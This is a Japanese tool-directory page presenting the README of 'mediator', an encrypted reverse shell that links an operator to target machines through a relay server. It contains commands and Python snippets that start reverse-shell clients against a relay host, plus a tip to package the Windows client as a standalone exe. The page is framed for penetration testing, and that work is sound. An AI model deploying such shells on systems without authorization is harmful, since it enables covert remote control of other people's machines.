Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
mediator — 拡張可能で、エンドツーエンド暗号化されたリバースシェル。ポートフォワーディングなしでネットワーク間で動作します。 | Kitploit
ツール/GitHubGitHub/lawndoc/mediator
暗号化/復号化ツールリバースエンジニアリングペネトレーションテストコマンド&コントロールユーティリティとフレームワークレッドチーミングインシデントレスポンスリモートアクセスツール
GitHublawndoc/mediator

mediator

拡張可能で、エンドツーエンド暗号化されたリバースシェル。ポートフォワーディングなしでネットワーク間で動作します。

リポジトリを見る
100132年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Mediator ロゴ

Mediatorは、オペレーターとシェルが接続をブリッジする「mediator」サーバーに接続する、エンドツーエンド暗号化されたリバースシェルです。これにより、オペレーター/ハンドラーが接続を待ち受けるためにポートフォワーディングを設定する必要がなくなります。Mediatorでは、リバースシェルの機能を拡張するプラグインを作成することもできます。

Mediatorのスクリプトはスタンドアロンの実行可能ファイルとして実行することも、他のペネトレーションテストやインシデントレスポンスツールに統合するためにインポートすることもできます。

アーキテクチャ:

エンドツーエンド暗号化チャットアプリケーションに触発されたMediatorは、リバースシェルのクライアント/サーバーモデルに対して独自のアプローチを採用しています。Mediatorは以下を使用します:

  1. クライアントリバースシェル
  2. クライアントハンドラー/オペレーター
  3. 2つの接続をブリッジするサーバー

リバースシェルとハンドラーは、接続キーを使用してMediatorサーバーに接続します。サーバーはハンドラー接続用にポート80、リバースシェル接続用にポート443をリッスンします。クライアントがmediatorに接続すると、サーバーは各タイプと接続キーに従ってクライアントをキューに入れます。リバースシェルとオペレーターが同じキーでサーバーに接続すると、サーバーは2つの接続をブリッジします。そこから、2つのクライアント間で鍵交換が行われ、リバースシェルとオペレーター間のすべての通信はエンドツーエンドで暗号化されます。これにより、サーバーがパイプしているストリームを盗聴できなくなります。

プラグイン

プラグインを使用すると、オペレーターのホスト、ターゲットホスト、またはその両方でコードを実行できる追加コマンドを追加できます。プラグインの詳細については、pluginsディレクトリのREADMEを参照してください。

手順:

サーバー

クライアントスクリプトはWindowsまたはLinuxで実行できますが、サーバー(mediator.py)はLinuxホスト上で立ち上げる必要があります。サーバーは純粋なPythonなので、依存関係をインストールする必要はありません。サーバースクリプトは次のように実行できます。

root@kitploit:~
$ python3 mediator.py

または、提供されているDockerfileを使用してDockerイメージをビルドし、コンテナ内で実行することもできます(ポート80と443を公開することを確認してください)。

クライアント

クライアントを動作させるには、requirements.txt)にある依存関係をインストールする必要があります。これは次のコマンドで行えます:

root@kitploit:~
$ pip3 install -r requirements.txt

クライアントを依存関係を気にせずに配布する方法については、下部のヒントと注意事項を参照してください。

ハンドラーとリバースシェルは、他のPythonスクリプト内で使用することも、コマンドラインから直接使用することもできます。どちらの場合も、クライアントはサーバーアドレスと接続キーの引数を受け付けることができます。これらの引数の使用法は以下で説明します。

Mediatorサーバーアドレス

Pythonスクリプトとして使用する場合、インスタンス化時にmediatorホストのアドレスが必要です。

Handler class

root@kitploit:~
from handler import Handler

operator = Handler(mediatorHost="example.com")
operator.run()

WindowsRShell class

root@kitploit:~
from windowsTarget import WindowsRShell

shell = WindowsRShell(mediatorHost="example.com")
shell.run()

クライアントスクリプトをシェルから直接実行する場合、アドレスをスクリプトの下部にハードコードするか、-sまたは--serverフラグを使用してサーバーアドレスを引数として指定できます。

handler.py

root@kitploit:~
$ python3 handler.py -s example.com

windowsTarget.py

root@kitploit:~
> python windowsTarget.py -s example.com

接続キー

2つのハンドラーまたは2つのリバースシェルが同じ接続キーでmediatorサーバーに接続した場合、最初の接続だけがキューに入れられ、そのペアを待ちます。キューに入れられた接続がタイムアウト(30秒)するか、相手側の接続と一致するまで、同じ接続キーで接続しようとする同じタイプの他のクライアントはすべて切断されます。

各ハンドラーが一意の接続キーを使用していることを確認することが重要です。そうしないと、競合状態が発生して、間違ったシェルがオペレーターに渡される可能性があります。

プレフィックス"#!ConnectionKey_"を持つキーのみがサーバーに受け入れられます。デフォルトの接続キーは"#!ConnectionKey_CHANGE_ME!!!"です。

Pythonスクリプトとして使用する場合の接続キーの変更方法は、インスタンス化時にオプションで接続キーを指定できます:

Handler class

root@kitploit:~
from handler import Handler

operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()

LinuxRShell class

root@kitploit:~
from linuxTarget import LinuxRShell

shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()

クライアントスクリプトをシェルから直接実行する場合、接続キーをスクリプトの下部にハードコードするか、-cまたは--connection-keyフラグを使用して接続キーを引数として指定できます。

handler.py

root@kitploit:~
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'

windowsTarget.py

root@kitploit:~
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'

ヒントと注意事項:

  • 注意事項: ハンドラーとリバースシェルは、30秒以内に同じ接続キーを使用してmediatorサーバーに接続しない限り、ブリッジされません。
  • ヒント: pyinstallerの--onefileフラグを使用して、windowsTarget.pyのexeを簡単に作成できます。
  • ヒント: セキュリティのため、セッションごとにランダムに生成された接続キーを使用する必要があります。悪意のある第三者が接続キーを知り、それを使用してオペレーターポートにスパムを送信した場合、サーバーは重複接続を許可しないため、オペレータークライアントは接続できなくなり、その第三者がターゲットのシェルに接続されることになります。
ツールをダウンロード